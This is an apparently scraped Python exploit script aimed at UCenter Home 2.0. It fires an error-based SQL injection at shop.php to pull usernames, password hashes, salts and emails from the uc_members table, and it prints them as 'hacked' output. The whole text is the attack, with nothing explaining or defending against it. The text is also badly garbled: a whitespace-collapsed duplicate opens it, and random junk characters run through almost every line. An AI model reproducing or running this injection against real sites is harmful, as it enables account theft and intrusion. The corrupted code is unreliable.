#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl: `+ b2 x$ Q! }$ B/ Z9 n2 A6 b
4 `; d( l1 Y: d4 _+ N) a
! d. u8 V2 J) Y#!/usr/bin/env python
2 N3 e% n8 ^) H5 X1 l! a3 x; H 4 q4 m7 x0 w! [$ S/ v; \2 n6 Z8 i
import sys
# k1 r% Q9 M! N* g) \! Iimport urllib2 n( A) @8 D, I: A# l+ V
import re - b4 j" o- X# n3 H
/ m$ w: N) u4 d& Q, ldef info(): * n3 h+ ?7 q2 x( K9 `% H; c
print 'From:http://www.exploit-db.com/exploits/14997/' / D' e. x7 C) a5 c/ m: {
print 'http://www.hake.cc/Web_loudong/' 6 L0 {0 V8 L- ?, R
print 'changed:qiaoy' ( ~2 R$ o% @6 L! X" }
print 'exp:' 7 k9 O& x$ ^. `" l
print ' ./UCenter_Home_2.0.py site'
; G+ A( M, u) j7 s' u
: k1 U: {1 l2 `8 idef main(): 2 W" H1 P& x2 ]
if len(sys.argv) != 2:
' c" j0 W/ e% F9 k) [# ?- x info()
/ }0 m3 P- \9 k; C/ h else:
, G; V! l! u7 g% k1 d site = sys.argv[1]
% T) L6 r9 P, G' p if site[0:7] == 'http://': ) ~/ e) V4 L7 s m
sitesite =site
; y1 J9 C% U3 Z% [' W- \' n4 ` elif site[0:8] == 'https://':
. m. I2 I' H+ ?, q sitesite = site & h- m- R- e0 Q7 W+ r9 k
else:
- [8 |4 v4 ^5 k G site = 'http://'+site
3 m' F6 e! O2 V3 k6 \/ x. t4 r. o# N$ S try:
% G6 a. W6 W: J T7 r url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
1 t4 Y- [0 ?& ?8 o. E' ` n- \ Value = urllib2.urlopen(url).read() % R- {/ l* j3 h/ z* d' X
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
% Q6 {! ?5 ]4 ^2 u) T5 ~ hacked = Msg.split(':') 1 `6 Q+ ?+ W+ K, S
print 'Name: '+hacked[1] 9 I9 t# b' V, }& W; T7 l: h5 g; Q: R
print 'Passwd: '+hacked[2]
) J; S/ S) r& z' i print 'salt: '+hacked[3]
% r! |$ ^+ \) [0 S% K4 Z print 'email: '+hacked[4] ) p9 c% R& c$ w4 L, T. l& [+ @
except:
; m( Y0 e U7 q1 d6 K9 ? print 'Sorry,I can\'t work............' , P# @; f7 a( s) R; Q3 v+ ^8 m" ~( G
M d0 v. @7 u3 f# V, K1 O# D5 ?
if __name__ == '__main__':
5 M- I$ c" ?0 a! p0 a main() |